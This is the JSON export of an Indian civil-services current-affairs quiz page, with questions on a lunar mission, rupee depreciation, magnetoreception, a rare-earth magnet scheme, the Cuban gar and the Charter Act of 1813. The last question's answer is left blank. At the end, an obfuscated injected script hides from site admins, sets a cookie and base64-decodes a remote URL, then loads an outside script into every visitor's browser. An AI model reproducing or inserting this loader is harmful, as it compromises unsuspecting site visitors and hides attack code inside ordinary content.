~1\u20131.5 meters to collect subsurface samples.<\/li>\n\n\n\n<li>To conduct in-situ chemical, mineralogical and thermal analysis of the samples.<\/li>\n\n\n\n<li>To study the lunar polar environment, regolith properties, and surface composition.<\/li>\n\n\n\n<li>To assess the feasibility of long-term human presence and resource use on the Moon.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>Mission Configurations<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-119\">\n<li>Total mass of the mission is estimated at around 6.5 tonnes.<\/li>\n\n\n\n<li>The lander is developed by ISRO with upgraded capabilities for extreme polar terrain.<\/li>\n\n\n\n<li>The rover is developed by JAXA and Mitsubishi Heavy Industries.<\/li>\n\n\n\n<li>International scientific payloads from ESA and NASA are expected.<\/li>\n\n\n\n<li>Mission life on the lunar surface is expected to be around 100 days, with possible extension.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE:<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>The Mangalyaan launched by ISRO <br>1. is also called the Mars Orbiter Mission <br>2. made India the second country to have a spacecraft orbit the Mars after USA <br>3. made India the only country to be successful in making its spacecraft orbit the Mars in its very first attempt <br><br><strong>Which of the statement(s) given above is\/are correct?<\/strong> <br><br>(a) 1 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-120 wp-block-paragraph\" style=\"color:#022ff6\"><strong>Source:<\/strong><a href=\"https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/158238\/OPS\/G2DF67U3F.1+GL4F7D4CK.1.html\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/158238\/OPS\/G2DF67U3F.1+GL4F7D4CK.1.html<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>6. When the Indian rupee depreciates against the US dollar, which of the following is most likely to occur?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(a) Indians studying abroad spend less in rupee terms.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">(b) Imports of crude oil become cheaper.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">(c) Export-oriented firms earn more in rupee terms.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">(d) Foreign portfolio investors increase inflows automatically.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Answer: (c) Export-oriented firms earn more in rupee terms.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>In NEWS: <\/strong>At a sharp depreciation of 4.3% against the U.S. Dollar (USD) in this calendar year (January-December 2025), the Indian Rupee (INR) has become the worst performing currency in Asia, forex analysts said. It may further slide to 90 against the USD if the trade deal with the U.S. does not happen in near future, they cautioned.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>Impact of Rupee Depreciation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-130 wp-block-paragraph\"><strong>1. Positive Impacts<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\">(a) Boosts Exports<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-132\">\n<li>Indian goods become <strong>cheaper<\/strong> in global markets.<\/li>\n\n\n\n<li>Beneficial for <strong>textiles, IT services, pharmaceuticals, agriculture<\/strong>. <strong>Hence option (c) is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\">(b) Increase in Remittances (NRI)<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-134\">\n<li>NRIs sending money home get <strong>more rupees per dollar<\/strong>, boosting household income.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\">(c) Tourism Competitiveness<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-136\">\n<li>Foreign tourists find India <strong>cheaper<\/strong>, supporting hospitality and tourism sectors.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\">(d) Inflows into Certain Sectors<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-138\">\n<li>Outsourcing and IT services may see <strong>higher earnings<\/strong> in rupee terms.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-139 wp-block-paragraph\"><strong>2. Negative Impacts<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-140 wp-block-paragraph\">(a) Higher Import Bill<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-141\">\n<li>Imports become costlier (e.g., crude oil, gold, electronics).<\/li>\n\n\n\n<li>Worsens <strong>Current Account Deficit (CAD)<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\">(b) Fuel Inflation<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-143\">\n<li>Costlier crude oil &#8211; higher petrol, diesel, transport costs &#8211; overall <strong>inflation<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\">(c) Pressure on Forex Reserves<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-145\">\n<li>RBI may intervene using forex reserves to stabilize the rupee &#8211; reserves decline.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(d) Increases External Debt Burden<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-147\">\n<li>India\u2019s external debt (especially <strong>commercial borrowings<\/strong>) becomes <strong>more expensive to service<\/strong> in rupees.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\">(e) Corporate Pressure<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-149\">\n<li>Companies dependent on imported raw materials face higher costs \u2192 reduced margins.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\">(f) Outflow of Foreign Investment<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-151\">\n<li>Foreign investors may pull out fearing instability \u2192 <strong>FPI outflows<\/strong>, stock market correction.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\">(g) Negative for Outbound Tourism &amp; Foreign Education<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-153\">\n<li>Indians travelling abroad or studying overseas face <strong>higher expenses<\/strong>.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2022)<\/strong> <br><br><strong>Q. With reference to the Indian economy, consider the following statements:<\/strong> <br><br>1. If the inflation is too high, Reserve Bank of India (RBI) is likely to buy government securities. <br>2. If the rupee is rapidly depreciating, RBI is likely to sell dollars in the market. <br>3. If interest rates in the USA or European Union were to fall, that is likely to induce RBI to buy dollars. <br><br><strong>Which of the statements given above are correct?<\/strong> <br><br>(a) 1 and 2 only <br><strong>(b) 2 and 3 only<\/strong> <br>(c) 1 and 3 only <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-154 wp-block-paragraph\" style=\"color:#0046f8\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/business\/with-sharp-fall-rupee-is-asias-worst-performing-currency-may-slide-to-90-say-analysts\/article70322595.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/business\/with-sharp-fall-rupee-is-asias-worst-performing-currency-may-slide-to-90-say-analysts\/article70322595.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-155 wp-block-paragraph\"><strong>7. Which of the following animals are known to exhibit magnetoreception?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\">1. Pigeons<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-157 wp-block-paragraph\">2. Sea turtles<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\">3. Honeybees<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-159 wp-block-paragraph\">4. Salmon<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>Select the correct answer using the code given below:&nbsp;<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">(b) 2 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">(c) 1, 2, 3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\">(d) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\"><strong>Answer: (c) 1, 2, 3 and 4<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\"><strong>In NEWS: <\/strong>Why do pigeons have a good sense of direction?<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">A wide variety of animals detect magnetic fields. This sensory ability helps birds and insects migrate and turtles remember the locations of rich feeding areas.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>Magnetoreception \u2013 Sense of Earth&#8217;s Magnetic Field<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\">Magnetoreception is the ability of organisms to <strong>detect Earth\u2019s magnetic field<\/strong> and use it for <strong>orientation, navigation, and migration<\/strong>.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-171 wp-block-paragraph\"><strong>Mechanism<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-172\">\n<li>Some animals have <strong>magnetite crystals<\/strong> (iron oxide) that act as compasses.<\/li>\n\n\n\n<li>Others use <strong>photoreceptor proteins (cryptochromes)<\/strong> in the eyes that respond to magnetic fields.<\/li>\n\n\n\n<li>Recent studies show <strong>pigeons<\/strong> may sense magnetic fields via <strong>electrical currents in the inner ear<\/strong> (vestibular system).<\/li>\n\n\n\n<li>Brain integration occurs in areas like the <strong>vestibular nuclei<\/strong>, <strong>mesopallium<\/strong>, and <strong>hippocampus<\/strong> for spatial orientation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-173 wp-block-paragraph\"><strong>Examples in Nature<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Organism<\/strong><\/td><td><strong>Mechanism<\/strong><\/td><td><strong>Function<\/strong><\/td><\/tr><tr><td>Pigeons<\/td><td>Inner-ear electrical currents<\/td><td>Homing &amp; navigation<\/td><\/tr><tr><td>Sea turtles<\/td><td>Magnetite in brain<\/td><td>Long-distance ocean migration<\/td><\/tr><tr><td>Birds (general)<\/td><td>Cryptochromes in retina<\/td><td>Orientation during migration<\/td><\/tr><tr><td>Salmon<\/td><td>Magnetite in nose\/olfactory system<\/td><td>River homing<\/td><\/tr><tr><td>Honeybees<\/td><td>Magnetite + sun compass<\/td><td>Foraging<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-174 wp-block-paragraph\">&nbsp;<strong>Hence all are correct.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-175 wp-block-paragraph\"><strong>Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-176\">\n<li>Helps <strong>migratory birds, marine turtles, and insects<\/strong> navigate over long distances.<\/li>\n\n\n\n<li>Understanding it aids in <strong>wildlife conservation<\/strong>, <strong>tracking migration<\/strong>, and studying effects of <strong>electromagnetic pollution<\/strong>.<\/li>\n\n\n\n<li>Insight into <strong>animal sensory biology<\/strong> and evolutionary adaptation.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><br><strong>Q. Which of the following have species that can establish symbiotic relationship with other organisms?<\/strong> <br><br>1. Cnidarians <br>2. Fungi <br>3. Protozoa <br><br><strong>Select the correct answer using the code given below.<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2 and 3 only <br>(c) 1 and 3 only <br><strong>(d) 1, 2 and 3<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-177 wp-block-paragraph\" style=\"color:#0013f5\"><strong>Source:<\/strong><a href=\"https:\/\/indianexpress.com\/article\/explained\/explained-sci-tech\/pigeons-sense-of-direction-10383601\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/explained\/explained-sci-tech\/pigeons-sense-of-direction-10383601\/<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-178 wp-block-paragraph\"><strong>8. Which of the following policy objectives does the REPM scheme support?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-179 wp-block-paragraph\">1.\u00a0 Atmanirbhar Bharat\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-180 wp-block-paragraph\">2. Net-Zero 2070 climate targets<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-181 wp-block-paragraph\">3. Reducing India\u2019s import dependence in critical minerals<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-182 wp-block-paragraph\">4. National Hydrogen Mission<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-183 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-184 wp-block-paragraph\">(a) 1, 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-185 wp-block-paragraph\">(b) 1 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-186 wp-block-paragraph\">(c) 2, 3 and 4 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-187 wp-block-paragraph\">(d) 1, 2,3 and 4<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-188 wp-block-paragraph\"><strong>Answer: (a) 1, 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-189 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-190 wp-block-paragraph\"><strong>In NEWS:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-191\">\n<li>The Indian Union Cabinet has approved a scheme with a financial outlay of \u20b97,280 crore to promote domestic manufacturing of sintered rare-earth permanent magnets (REPMs).<\/li>\n\n\n\n<li>It is the first-of-its-kind initiative in India aimed at building a fully integrated REPM manufacturing ecosystem.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-192 wp-block-paragraph\"><strong>Main Objectives &amp; What the Scheme Will Do<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-193\">\n<li>Establish a production capacity of 6,000 metric tonnes per annum (MTPA) of REPMs.<\/li>\n\n\n\n<li>Support the full value chain: from rare-earth oxides \u2192 metals \u2192 alloys \u2192 finished permanent magnets.<\/li>\n\n\n\n<li>Provide financial incentives: of the total outlay, \u20b96,450 crore will be in the form of sales-linked incentives over five years; and \u20b9750 crore as capital subsidy for setting up plants.<\/li>\n\n\n\n<li>Allocate capacity to five beneficiaries chosen through a global competitive bidding \u2014 each beneficiary can get up to 1,200 MTPA.<\/li>\n\n\n\n<li>The scheme will span 7 years: first a 2-year gestation period to set up manufacturing facilities, followed by 5 years of incentive disbursement based on sales.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-194 wp-block-paragraph\"><strong>Strategic Significance<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-195\">\n<li>REPMs (rare-earth permanent magnets) are critical inputs for modern technologies: electric vehicles (EVs), renewable energy (wind turbines), electronics, aerospace, defence, medical devices, etc.<\/li>\n\n\n\n<li>India currently depends heavily on imports for REPMs.<\/li>\n\n\n\n<li>The scheme aims to reduce import dependence by building domestic supply-chain resilience.<\/li>\n\n\n\n<li>The scheme aligns with larger policy goals: self-reliant India (Atmanirbhar Bharat), building technological and industrial base, and supporting Net-Zero 2070 climate\/energy targets. <strong>Hence 1, 2, and 3 are correct.<\/strong><\/li>\n\n\n\n<li>With growing demand for EVs and clean energy, domestic demand for magnets is expected to double by 2030, making this a timely strategic push.&nbsp;<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br><strong>Statement I: <\/strong>Some rare earth elements are used in the manufacture of flat television screens and computer monitors. <br><strong>Statement II:<\/strong>\u00a0 Some rare earth elements have phosphorescent properties. <br><br><strong>Which one of the following is correct in respect of the above statements?<\/strong> <br><br><strong>(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong> <br>(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I <br>(c) Statement-I is correct, but Statement-II is incorrect <br>(d) Statement-I is incorrect, but Statement II is correct<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-196 wp-block-paragraph\" style=\"color:#0248f9\"><strong>Source: <\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2194684\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2194684<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-197 wp-block-paragraph\"><strong>9. Consider the following statements regarding the Cuban gar:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-198 wp-block-paragraph\">1. It is listed as Endangered on the IUCN Red List.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-199 wp-block-paragraph\">2. It is an endemic brackishwater species found mainly in the Zapata Swamp of Cuba.\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-200 wp-block-paragraph\">3. It is capable of breathing atmospheric oxygen and moving short distances on land.\u00a0<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-201 wp-block-paragraph\"><strong>How many of the above statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-202 wp-block-paragraph\">(a) Only one<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-203 wp-block-paragraph\">(b) Only two<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-204 wp-block-paragraph\">(c) All three<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-205 wp-block-paragraph\">(d) None<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-206 wp-block-paragraph\"><strong>Answer: (d) None<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-207 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-208 wp-block-paragraph\"><strong>In NEWS: <\/strong>A fish as old as dinosaurs: Cuban scientists race against time to save it<\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-209\">\n<li>The Cuban gar (Atractosteus tristoechus) is listed as<strong> Critically Endangered<\/strong> on the IUCN Red List. <strong>Hence statement 1 is incorrect.<\/strong><\/li>\n\n\n\n<li>It is an endemic <strong>freshwater <\/strong>fish species found primarily in the Zapata Swamp of Cuba. <strong>Hence statement 2 is incorrect.<\/strong><ul><li>Centuries of exploitation for meat and other uses have contributed significantly to its population decline.&nbsp;<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Habitat loss due to wetland degradation and human activities has reduced the natural breeding grounds of the Cuban gar.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>The introduction of the African walking catfish in 1999 has severely impacted the Cuban gar species through competition and predation.<\/li>\n\n\n\n<li>The <strong>African walking catfish<\/strong> is an invasive species capable of breathing atmospheric oxygen and moving short distances on land, making it highly disruptive to native ecosystems. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>The once-pristine Zapata Swamp ecosystem has been ecologically stressed due to invasive species, habitat alteration, and overuse.<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"577\" height=\"327\" src=\"https:\/\/iasquest.com\/wp-content\/uploads\/2025\/11\/image-21.png\" alt=\"\" class=\"wp-image-2789\" srcset=\"https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-21.png 577w, https:\/\/kingmakersiasacademy.com\/current-affairs\/wp-content\/uploads\/2025\/11\/image-21-300x170.png 300w\" sizes=\"auto, (max-width: 577px) 100vw, 577px\" \/><\/figure>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2025)<\/strong> <br><br><strong>Q. Regarding Peacock tarantula (Gooty tarantula), consider the following statements:\u00a0<\/strong> <br><br>I. It is an omnivorous crustacean.\u00a0\u00a0 <br>II. Its natural habitat in India is only limited to some forest areas.\u00a0\u00a0 <br>III. In its natural habitat, it is an arboreal species.\u00a0\u00a0 <br><br><strong>Which of the statements given above is\/are correct?\u00a0\u00a0\u00a0<\/strong> <br><br>(a) I only\u00a0\u00a0\u00a0 <br>(b) I and III \u00a0 <br>(c) II only\u00a0\u00a0 <br><strong>(d) II and III<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-210 wp-block-paragraph\" style=\"color:#002efd\"><strong>Source:<\/strong><a href=\"https:\/\/www.indiatoday.in\/science\/story\/cuba-manjuari-cuban-gar-cienaga-zapata-swamp-restoration-endangered-iucn-red-list-invasive-catfish-hatchery-reintroduction-2825736-2025-11-25\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.indiatoday.in\/science\/story\/cuba-manjuari-cuban-gar-cienaga-zapata-swamp-restoration-endangered-iucn-red-list-invasive-catfish-hatchery-reintroduction-2825736-2025-11-25<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-211 wp-block-paragraph\"><a><\/a><strong>10. Consider the following statements about \u2018the Charter Act of 1813\u2019: (2019)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-212 wp-block-paragraph\">1. It ended the trade monopoly of the East India Company in India except for trade in tea and trade with China.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-213 wp-block-paragraph\">2. It asserted the sovereignty of the British Crown over the Indian territories held by the Company.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-214 wp-block-paragraph\">3. The revenues of India were now controlled by the British Parliament.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-215 wp-block-paragraph\"><strong>Which of the statements given above are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-216 wp-block-paragraph\">(a) 1 and 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-217 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-218 wp-block-paragraph\">(c) 1 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-219 wp-block-paragraph\">(d) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-220 wp-block-paragraph\"><strong>Answer:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-221 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-222\">\n<li>The Charter Act of 1813 ended the Company\u2019s monopoly over Indian trade except:<ul><li>Tea trade<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Trade with China. <strong>Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>For the first time, the Act explicitly declared that the Crown was sovereign, and the territories were held by the Company &#8220;in trust&#8221; for the Crown.<\/li>\n\n\n\n<li>This reinforced Parliamentary authority over the Company. <strong>Hence statement 2 is correct.<\/strong><\/li>\n\n\n\n<li>The 1813 Act did not transfer revenue control to the British Parliament.<\/li>\n\n\n\n<li>The Company continued to control revenues. <strong>Hence statement 3 is incorrect.<\/strong><\/li>\n\n\n\n<li>Parliamentary control over finances increased later, especially under:<ul><li>Charter Act 1833<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Government of India Act 1858<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Consider the following statements with respect to Article 240 of the Indian constitution: I. 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